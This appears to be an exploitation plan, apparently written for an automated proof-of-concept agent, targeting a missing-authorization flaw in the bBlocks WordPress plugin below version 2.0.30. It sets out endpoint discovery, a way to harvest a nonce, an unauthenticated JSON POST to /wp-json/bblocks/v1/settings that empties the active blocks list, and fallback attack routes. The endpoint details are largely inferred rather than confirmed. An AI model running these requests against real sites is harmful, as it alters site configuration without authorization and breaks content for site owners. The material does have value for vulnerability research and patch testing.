bBlocks – Essential Gutenberg Blocks & Patterns Collection < 2.0.30 - Missing Authorization

1. Vulnerability Summary

The bBlocks – Essential Gutenberg Blocks & Patterns Collection plugin for WordPress is vulnerable to Missing Authorization in versions prior to 2.0.30. The vulnerability exists because certain internal functions—likely those handling plugin settings or block configurations—are registered as AJAX or REST API endpoints without sufficient capability checks (e.g., current_user_can( 'manage_options' )).

This allows an unauthenticated attacker to modify plugin settings, enable/disable blocks, or perform other administrative actions by sending crafted requests to the vulnerable endpoints.

2. Attack Vector Analysis

• Endpoint: Likely a REST API route registered under the bblocks/v1 namespace or an AJAX action registered via wp_ajax_nopriv_.
• Vulnerable Route/Action: Based on the admin-dashboard.js asset, the likely target is the settings update endpoint: POST /wp-json/bblocks/v1/settings (inferred) or wp_ajax_bblocks_save_settings (inferred).
• Authentication: None required (unauthenticated).
• Parameter: The payload is likely a JSON object or POST array containing block status or general settings (e.g., active_blocks, settings_data).
• Preconditions: The plugin must be active. No specific block needs to be placed on the frontend for the settings endpoint to be reachable.

3. Code Flow

1. Registration: The plugin registers a REST API route in a file like includes/class-admin.php or includes/rest-api.php using register_rest_route().
2. Missing Callback: The permission_callback argument in register_rest_route() is either missing, set to __return_true, or fails to check for administrative capabilities.
3. Processing: When a request is made to the endpoint, the handler function (e.g., save_settings or update_options) is executed.
4. Sink: The handler calls update_option() with user-supplied data from the request, allowing an attacker to overwrite plugin configurations.

4. Nonce Acquisition Strategy

If the endpoint is a REST API route and the vulnerability is a total lack of authorization for unauthenticated users, a nonce is typically not required for the request to succeed. WordPress only requires the X-WP-Nonce header for REST requests that use Cookie authentication to prevent CSRF against logged-in users.

However, if the plugin's code explicitly checks a custom nonce, follow these steps to retrieve it using the browser_eval tool:

1. Identify the Dashboard Page: The admin-dashboard.js script is typically loaded on the plugin's admin page.
2. Create a Trigger: Since we are unauthenticated, we need to check if the plugin leaks the nonce on the frontend. Check wp_localize_script calls in the PHP source.
3. Standard Procedure:
   • Navigate to the WordPress homepage or a page containing a bBlock.
   • Search the HTML source for localized scripts. Look for variables like bBlocksAdminParams or bBlocksData.
   • JavaScript Variable: window.bBlocksAdminParams?.nonce (inferred).
4. Alternative: If the nonce is only in the admin area, but the endpoint is nopriv or an open REST route, try the exploit without a nonce first.

5. Exploitation Strategy

The goal is to modify the plugin's settings (e.g., disabling all Gutenberg blocks provided by the plugin).

Step 1: Discover the Endpoint

The agent should first confirm the REST namespace and route by searching the plugin files:

grep -r "register_rest_route" .

Look for a route with the bblocks namespace and a POST method.

Step 2: Craft the Exploit Request

Assuming the endpoint is /wp-json/bblocks/v1/settings:

• URL: http://<target>/wp-json/bblocks/v1/settings
• Method: POST
• Headers:
  • Content-Type: application/json
• Payload (JSON):

  {
      "settings": {
          "active_blocks": []
      }
  }
  

  (Note: The exact structure of the JSON depends on the discovered handler's logic. If it uses update_option('bblocks_settings', ...) directly, the payload might mirror the option's structure.)

Step 3: Execute via http_request

# Example for the PoC agent
response = http_request(
    url="http://localhost:8080/wp-json/bblocks/v1/settings",
    method="POST",
    headers={"Content-Type": "application/json"},
    body='{"settings": {"active_blocks": []}}'
)

6. Test Data Setup

1. Install bBlocks: Ensure version < 2.0.30 is installed.
2. Verify Initial State: Use WP-CLI to check the current settings:

   wp option get bblocks_settings
   

3. Place a Block: (Optional) Create a post with a bBlock (e.g., "Advanced Image") to see it break after the exploit:

   wp post create --post_type=post --post_status=publish --post_content='<!-- wp:bblocks/advanced-image -->...<!-- /wp:bblocks/advanced-image -->'
   

7. Expected Results

• HTTP Response: A 200 OK or 201 Created response, likely returning the updated settings object.
• Side Effect: The WordPress option bblocks_settings (or similar) will be updated in the database.
• Frontend Impact: The blocks managed by bBlocks may disappear or fail to render on the site because they have been "deactivated" via the settings.

8. Verification Steps

1. Database Check: Verify the option was changed:

   wp option get bblocks_settings
   

   The active_blocks list should now be empty or match your payload.
2. Plugin Dashboard: Log in as admin and navigate to the bBlocks dashboard (/wp-admin/admin.php?page=b-blocks-dashboard). All blocks should appear as "disabled."

9. Alternative Approaches

If the REST API is not vulnerable or requires a nonce that cannot be leaked:

1. AJAX Search: Search for wp_ajax_nopriv_bblocks_ actions in the code:

   grep -r "wp_ajax_nopriv" .
   

2. Setting Manipulation: If the plugin uses admin_init to save settings without a is_admin() or capability check, try sending the POST request directly to the admin dashboard URL:

   # Check for admin_init handlers that process $_POST
   grep -r "admin_init" .
   

3. Block-Specific Settings: Some plugins allow per-block settings to be updated via a similar missing-auth endpoint. If global settings are protected, look for routes like /wp-json/bblocks/v1/block-config.